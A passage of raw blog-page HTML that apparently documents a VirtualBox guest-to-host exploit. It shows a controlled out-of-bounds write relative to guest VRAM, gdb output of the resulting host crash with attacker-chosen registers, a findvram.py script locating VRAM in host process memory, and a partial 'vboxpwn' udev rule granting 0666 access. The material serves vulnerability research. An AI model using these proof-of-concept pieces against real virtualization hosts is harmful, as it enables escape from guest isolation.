12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &gt;&gt;&gt; write(0x414141414141 &#8211; vram, &#8216;BBBB&#8217;)<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e373208937336-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e373208937336-1\"><span class=\"crayon-o\">&gt;&gt;&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0x414141414141<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">vram<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;BBBB&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0003 seconds] -->  <\/p>\n<p>The crash:<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e375459694106\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\">     Thread 7 &#8220;EMT&#8221; received signal SIGSEGV, Segmentation fault.      [Switching to Thread 0x7f1680b8e700 (LWP 23801)]      0x00007f168a87172a in __memmove_avx_unaligned_erms () from \/usr\/lib\/libc.so.6      (gdb) x\/1i $rip      =&gt; 0x7f168a87172a &lt;__memmove_avx_unaligned_erms+154&gt;:\tmov    %ecx,-0x4(%rdi,%rdx,1)      (gdb) i r ecx rdi rdx      ecx            0x42424242\t1111638594      rdi            0x414141414141\t71748523475265      rdx            0x4\t4<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e375459694106-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e375459694106-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e375459694106-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e375459694106-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e375459694106-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e375459694106-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e375459694106-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e375459694106-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e375459694106-9\">9<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e375459694106-1\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">Thread<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;EMT&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">received <\/span><span class=\"crayon-e\">signal <\/span><span class=\"crayon-v\">SIGSEGV<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Segmentation <\/span><span class=\"crayon-v\">fault<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e375459694106-2\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-e\">Switching <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">Thread<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x7f1680b8e700<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">LWP<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">23801<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e375459694106-3\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">0x00007f168a87172a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">__memmove_avx_unaligned_erms<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">from<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">usr<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">lib<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">libc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">so<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-cn\">6<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e375459694106-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">gdb<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">1i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">rip<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e375459694106-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0x7f168a87172a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-v\">__memmove_avx_unaligned_erms<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">154<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-v\">mov<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-v\">ecx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">0x4<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-v\">rdi<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-v\">rdx<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e375459694106-6\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">gdb<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">i<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">r<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ecx <\/span><span class=\"crayon-e\">rdi <\/span><span class=\"crayon-e\">rdx<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e375459694106-7\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">ecx<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">0x42424242<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">1111638594<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e375459694106-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">rdi<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">0x414141414141<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">71748523475265<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e375459694106-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">rdx<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">0x4<\/span><span class=\"crayon-h\">\t<\/span><span class=\"crayon-cn\">4<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0017 seconds] -->  <\/p>\n<p><u>findvram.py<\/u><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e378322987452\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> import sys    if len(sys.argv) != 3:      print &#8216;Usage: sudo python2 findvram.py &lt;pid&gt; &lt;VRAM size in MB&gt;&#8217;      print      print &#8216;Finds the VRAM page on a Linux host by inspecting \/proc\/&lt;pid&gt;\/maps and &#8216;      print &#8216;looking for a properly sized map. Works best if an odd amount of VRAM is&#8217;      print &#8216;configured, like 33 MB instead of 32.&#8217;      exit()    pid = int(sys.argv[1])  sz = int(sys.argv[2])*1024*1024    with open(&#8216;\/proc\/%d\/maps&#8217;%pid) as f:      for line in f:          start, end = [int(x,16) for x in line.split()[0].split(&#8216;-&#8216;)]          if end-start == sz:              print &#8216;VRAM @ 0x%016x &#8211; 0x%016x&#8217; % (start, end)<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e378322987452-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e378322987452-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e378322987452-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e378322987452-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e378322987452-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e378322987452-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e378322987452-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e378322987452-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e378322987452-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e378322987452-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e378322987452-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e378322987452-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e378322987452-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e378322987452-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e378322987452-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e378322987452-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e378322987452-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-5a69065f6e378322987452-18\">18<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e378322987452-1\"><span class=\"crayon-e\">import <\/span><span class=\"crayon-e\">sys<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e378322987452-2\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e378322987452-3\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">len<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">argv<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e378322987452-4\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;Usage: sudo python2 findvram.py &lt;pid&gt; &lt;VRAM size in MB&gt;&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e378322987452-5\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">print<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e378322987452-6\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;Finds the VRAM page on a Linux host by inspecting \/proc\/&lt;pid&gt;\/maps and &#8216;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e378322987452-7\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;looking for a properly sized map. Works best if an odd amount of VRAM is&#8217;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e378322987452-8\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;configured, like 33 MB instead of 32.&#8217;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e378322987452-9\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e378322987452-10\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e378322987452-11\"><span class=\"crayon-v\">pid<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">argv<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e378322987452-12\"><span class=\"crayon-v\">sz<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">argv<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-cn\">1024<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-cn\">1024<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e378322987452-13\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e378322987452-14\"><span class=\"crayon-e\">with <\/span><span class=\"crayon-e\">open<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;\/proc\/%d\/maps&#8217;<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-v\">pid<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e378322987452-15\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">line <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">f<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e378322987452-16\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">start<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">end<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-t\">int<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">x<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-cn\">16<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">for<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">x<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">in<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">line<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">split<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;-&#8216;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e378322987452-17\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">end<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">start<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">sz<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5a69065f6e378322987452-18\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-i\">print<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;VRAM @ 0x%016x &#8211; 0x%016x&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">start<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">end<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0019 seconds] -->  <\/p>\n<p><u>70-vboxpwn.rules<\/u><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-5a69065f6e37b876712942\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> KERNEL==&#8221;vboxpwn&#8221;, NAME=&#8221;vboxpwn&#8221;, OWNER=&#8221;vboxadd&#8221;, MODE=&#8221;0666&#8243;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-5a69065f6e37b876712942-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-5a69065f6e37b876712942-1\"><span class=\"crayon-v\">KERNEL<\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-s\">&#8220;vboxpwn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">NAME<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;vboxpwn&#8221;<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">OWNER<\/span><span class=\"crayon-o\">=<\/span><span 